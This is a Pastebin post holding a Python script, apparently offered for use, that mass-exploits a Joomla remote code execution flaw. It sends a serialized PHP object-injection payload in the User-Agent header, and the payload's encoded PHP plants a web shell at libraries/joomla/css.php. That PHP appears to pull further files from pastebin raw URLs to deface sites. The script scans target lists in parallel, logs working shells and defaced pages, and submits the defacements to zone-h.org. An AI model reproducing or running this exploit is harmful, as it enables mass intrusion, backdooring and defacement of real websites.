Alarg53

rce joomla

Dec 24th, 2016
552
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.02 KB | None | 0 0
  1. #!/usr/bin/python
  2. # coding=utf-8
  3.  
  4. '''
  5.      Alarg53
  6. '''
  7.    
  8. import requests, re, sys
  9. from multiprocessing import Pool
  10. from time import time as timer
  11. import codecs
  12. #with codecs.open(sys.argv[1], mode='r', encoding='utf-8', errors='ignore') as
  13.  
  14. try:
  15.     with codecs.open(sys.argv[1], mode='r', encoding='ascii', errors='ignore') as f:
  16.         ooo=f.read().splitlines()
  17. except IOError :
  18.     pass
  19. #open(sys.argv[1], encoding = 'utf-8')
  20. ooo = list( set( ooo ) )
  21.    
  22. def get_url(url):
  23.     pl = generate_payload("base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbGlicmFyaWVzL2pvb21sYS9jc3MucGhwIiA7DQokZnA9Zm9wZW4oIiRjaGVjayIsIncrIik7DQpmd3JpdGUoJGZwLGJhc2U2NF9kZWNvZGUoJ1BEOXdhSEFOQ21aMWJtTjBhVzl1SUdoMGRIQmZaMlYwS0NSMWNtd3BldzBLQ1NScGJTQTlJR04xY214ZmFXNXBkQ2drZFhKc0tUc05DZ2xqZFhKc1gzTmxkRzl3ZENna2FXMHNJRU5WVWt4UFVGUmZVa1ZVVlZKT1ZGSkJUbE5HUlZJc0lERXBPdzBLQ1dOMWNteGZjMlYwYjNCMEtDUnBiU3dnUTFWU1RFOVFWRjlEVDA1T1JVTlVWRWxOUlU5VlZDd2dNVEFwT3cwS0NXTjFjbXhmYzJWMGIzQjBLQ1JwYlN3Z1ExVlNURTlRVkY5R1QweE1UMWRNVDBOQlZFbFBUaXdnTVNrN0RRb0pZM1Z5YkY5elpYUnZjSFFvSkdsdExDQkRWVkpNVDFCVVgwaEZRVVJGVWl3Z01DazdEUW9KY21WMGRYSnVJR04xY214ZlpYaGxZeWdrYVcwcE93MEtDV04xY214ZlkyeHZjMlVvSkdsdEtUc05DbjBOQ2lSamFHVmpheUE5SUNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyeHBZbkpoY21sbGN5OXFiMjl0YkdFdlkzTnpMbkJvY0NJZ093MEtKSFJsZUhRZ1BTQm9kSFJ3WDJkbGRDZ25hSFIwY0RvdkwzQmhjM1JsWW1sdUxtTnZiUzl5WVhjdlNsUlJXa3d6VVZVbktUc05DaVJ2Y0dWdUlEMGdabTl3Wlc0b0pHTm9aV05yTENBbmR5Y3BPdzBLWm5keWFYUmxLQ1J2Y0dWdUxDQWtkR1Y0ZENrN0RRcG1ZMnh2YzJVb0pHOXdaVzRwT3cwS2FXWW9abWxzWlY5bGVHbHpkSE1vSkdOb1pXTnJLU2w3RFFvZ0lDQWdaV05vYnlBa1kyaGxZMnN1SWp3dlluSStJanNOQ24xbGJITmxJQTBLSUNCbFkyaHZJQ0p1YjNRZ1pYaHBkSE1pT3cwS1pXTm9ieUFpWkc5dVpTQXVYRzRnSWlBN0RRb2tZMmhsWTJzelBTUmZVMFZTVmtWU1d5ZEVUME5WVFVWT1ZGOVNUMDlVSjEwZ0xpQWlMMEV1YUhSdElpQTdEUW9rZEdWNGRETWdQU0JvZEhSd1gyZGxkQ2duYUhSMGNEb3ZMM0JoYzNSbFltbHVMbU52YlM5eVlYY3ZRVWhaZUZOeWJsVW5LVHNOQ2lSdmNETTlabTl3Wlc0b0pHTm9aV05yTXl3Z0ozY25LVHNOQ21aM2NtbDBaU2drYjNBekxDUjBaWGgwTXlrN0RRcG1ZMnh2YzJVb0pHOXdNeWs3RFFvTkNpUmphR1ZqYXpROUpGOVRSVkpXUlZKYkowUlBRMVZOUlU1VVgxSlBUMVFuWFNBdUlDSXZiR2xpY21GeWFXVnpMMnB2YjIxc1lTOWphR1ZqYXk1d2FIQWlJRHNOQ2lSMFpYaDBOQ0E5SUdoMGRIQmZaMlYwS0Nkb2RIUndPaTh2Y0dGemRHVmlhVzR1WTI5dEwzSmhkeTlJVEhaQ1RWQk9RaWNwT3cwS0pHOXdORDFtYjNCbGJpZ2tZMmhsWTJzMExDQW5keWNwT3cwS1puZHlhWFJsS0NSdmNEUXNKSFJsZUhRMEtUc05DbVpqYkc5elpTZ2tiM0EwS1RzTkNnMEtKR05vWldOck5qMGtYMU5GVWxaRlVsc25SRTlEVlUxRlRsUmZVazlQVkNkZElDNGdJaTlzYVdKeVlYSnBaWE12YW05dmJXeGhMM05sYzNOcGIyNHZjMlZ6YzJsdmJpNXdhSEFpSURzTkNpUjBaWGgwTmlBOUlHaDBkSEJmWjJWMEtDZG9kSFJ3T2k4dmNHRnpkR1ZpYVc0dVkyOXRMM0poZHk5SVRIWkNUVkJPUWljcE93MEtKRzl3TmoxbWIzQmxiaWdrWTJobFkyczJMQ0FuZHljcE93MEtabmR5YVhSbEtDUnZjRFlzSkhSbGVIUTJLVHNOQ21aamJHOXpaU2drYjNBMktUc05DZzBLUUhWdWJHbHVheWhmWDBaSlRFVmZYeWs3RFFvTkNqOCsnKSk7DQpmY2xvc2UoJGZwKTs=')")
  24.     headers = {
  25.     'User-Agent': pl
  26.     }
  27.     try:
  28.         cookies = requests.get(url,headers=headers,timeout= 15).cookies
  29.     except:
  30.         pass
  31.     try:
  32.         rr = requests.get(url+'/', headers=headers,cookies=cookies,timeout= 15)
  33.         if rr :
  34.             print(url+" PayLoad Sent")
  35.             get = requests.get(url+'/libraries/joomla/css.php',timeout= 15)
  36.             scheck= requests.get(url+'/libraries/joomla/css.php',timeout= 15)
  37.             if 'Alarg53' in scheck.text :
  38.                 print(url+" ===>Shell OK")
  39.                 shellz= url+'/libraries/joomla/css.php'
  40.             codecs.open('j6shellz.txt', mode='a', encoding='ascii', errors='ignore').write(shellz+'\n')
  41.             wcheck=requests.get(url+'/A.htm',timeout= 15)
  42.             if 'Alarg53' in wcheck.text:
  43.                 print(url+" ===>Defaced OK")
  44.                 dom=url+'/A.htm'
  45.                 codecs.open('j6defaced.txt', mode='a', encoding='ascii', errors='ignore').write(dom+'\n')
  46.                 ccheck=requests.get(url+'/libraries/joomla/check.php',timeout= 15)
  47.                 if 'Alarg53' in ccheck.text:
  48.                     print(url+" ===>Uname OK")
  49.                     codecs.open('j6uname.txt', mode='a', encoding='ascii', errors='ignore').write(ccheck.text+'\n'+shellz+'\n')
  50.                     zcheck=requests.post('http://zone-h.org/notify/single', data={
  51.                         'defacer':'Alarg53','domain1':dom,'hackmode':'15','reason':'1','submit':'Send'
  52.                         },timeout = 10,headers = headers)
  53.                     if 'color="red">OK</font></li>' in zcheck.text:
  54.                         print(url+" ===>Zone-H OK")
  55.                         codecs.open('j6zoneh.txt', mode='a', encoding='ascii', errors='ignore').write(dom+'\n')
  56.                     else:
  57.                         print(url+" ===>Zone-H NONO")
  58.             else:
  59.                 print(url+" ===>Not Defaced")
  60.         else:
  61.             print(url+" ===>SHell Not Found")
  62.  
  63.     except:
  64.         pass
  65.      
  66. def php_str_noquotes(data):
  67.     "Convert string to chr(xx).chr(xx) for use in php"
  68.     encoded = ""
  69.     for char in data:
  70.         encoded += "chr({0}).".format(ord(char))
  71.    
  72.     return encoded[:-1]
  73.    
  74.    
  75. def generate_payload(php_payload):
  76.    
  77.     php_payload = "eval({0})".format(php_payload)
  78.    
  79.     terminate = '\xf0\xfd\xfd\xfd';
  80.     exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
  81.     injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
  82.     exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
  83.     exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
  84.    
  85.     return exploit_template
  86.  
  87.  
  88.  
  89.  
  90.  
  91.  
  92.  
  93. def goo():
  94.     try:
  95.         start= timer()
  96.         pp=Pool(30)
  97.         pr=pp.map(get_url, ooo)
  98.         print('Time: '+str(timer()-start)+' seconds')
  99.     except:
  100.         pass
  101.  
  102. '''for x in ooo:
  103.    zzz=get_url(x, pl)
  104. '''
  105.  
  106. if __name__=='__main__':
  107.     goo()
  108.  
  109. #  fb/alarg53.man [2016-12-25]  #
Add Comment
Please, Sign In to add comment